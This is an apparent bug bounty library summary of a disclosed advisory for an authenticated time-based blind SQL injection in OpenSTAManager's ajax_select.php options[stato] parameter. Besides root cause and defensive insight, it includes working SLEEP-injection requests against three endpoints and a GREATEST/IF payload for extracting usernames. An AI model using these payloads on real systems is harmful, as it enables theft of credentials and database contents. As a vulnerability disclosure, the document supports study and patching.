# OpenSTAManager has a Time-Based Blind SQL Injection via `options[stato]` Parameter

Authenticated time-based blind SQLi in OpenSTAManager's ajax_select.php options[stato] parameter lets attackers extract usernames, bcrypt hashes, and full database contents.

- Payout: Research
- Severity: high
- Program: OpenSTAManager
- Found by: ormzro
- Disclosed: 2026-04-01
- CVE: CVE-2026-28805
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-3gw8-3mg3-jmpc
- Library page: http://bugbountylibrary.com/r/ghsa%3AGHSA-3gw8-3mg3-jmpc
- Tags: area:web domain:web impact:data-leak impact:pii-leak kind:research platform:ghsa sev:high tech:php technique:blind technique:source-review vuln:sqli

**Target:** PHP AJAX select handlers (ajax_select.php) backed by MySQL
**Root cause:** User-controlled options[stato] is read from $superselect['stato'] and concatenated as a bare SQL expression/column name into WHERE clauses without parameterization or allowlist; HTMLPurifier only strips HTML, not SQL syntax.
**Steps:**
1. Authenticate via `POST /index.php` with `op=login&username=<user>&password=<pass>` and capture PHPSESSID.
2. Baseline: `GET /ajax_select.php?op=preventivi&options[idanagrafica]=1&options[stato]=is_pianificabile` returns in ~200ms.
3. Inject: `GET /ajax_select.php?op=preventivi&options[idanagrafica]=1&options[stato]=1)+AND+(SELECT+1+FROM+(SELECT(SLEEP(10)))a)+AND+(1` — response delayed ~10s.
4. Extract data via boolean/time binary search using `GREATEST()` in place of stripped `>`: `options[stato]=1)+AND+(SELECT+1+FROM+(SELECT(IF((GREATEST(LENGTH((SELECT+username+FROM+zz_users+LIMIT+0,1)),3%2B1)%3DLENGTH((SELECT+username+FROM+zz_users+LIMIT+0,1))),SLEEP(2),0)))a)+AND+(1`.
5. Same pattern works on `op=ordini-cliente` and `op=contratti` endpoints.
**How found:** Code review of module select.php handlers showed $superselect['stato'] concatenated directly into WHERE clauses; testing revealed HTMLPurifier's filter('options') does not strip SQL keywords or operators, only HTML tags and '>'.
**Exploitation:** Authenticated attacker sends crafted GET requests to ajax_select.php; HTMLPurifier passes SQL keywords/operators through, so injected SLEEP() confirms execution and time-based boolean extraction recovers usernames, bcrypt hashes, MySQL version, and arbitrary DB contents.
**Insight:** When a framework's input filter is an HTML sanitizer (HTMLPurifier), assume SQL metacharacters survive; grep for values used as column names or bare expressions in WHERE clauses — those can't be parameterized and need allowlists. Note '>' is stripped, so use GREATEST() for boolean comparisons.

## Proof of concept (copied exactly from the original report)

**SLEEP-based injection request for preventivi endpoint**

```
GET /ajax_select.php?op=preventivi&options[idanagrafica]=1&options[stato]=1)+AND+(SELECT+1+FROM+(SELECT(SLEEP(10)))a)+AND+(1 HTTP/1.1
Host: <target>
Cookie: PHPSESSID=<session>
```

**Data extraction payload using GREATEST and IF**

```
GET /ajax_select.php?op=preventivi&options[idanagrafica]=1&options[stato]=1)+AND+(SELECT+1+FROM+(SELECT(IF((GREATEST(LENGTH((SELECT+username+FROM+zz_users+LIMIT+0,1)),3%2B1)%3DLENGTH((SELECT+username+FROM+zz_users+LIMIT+0,1))),SLEEP(2),0)))a)+AND+(1 HTTP/1.1
```

**SLEEP injection for ordini and contratti endpoints**

```
GET /ajax_select.php?op=ordini-cliente&options[idanagrafica]=1&options[stato]=is_fatturabile+%3D+1+AND+(SELECT+1+FROM+(SELECT(SLEEP(5)))a)+AND+1 HTTP/1.1

**Contratti (contracts):**

GET /ajax_select.php?op=contratti&options[idanagrafica]=1&options[stato]=1)+AND+(SELECT+1+FROM+(SELECT(SLEEP(5)))a)+AND+(1 HTTP/1.1
```

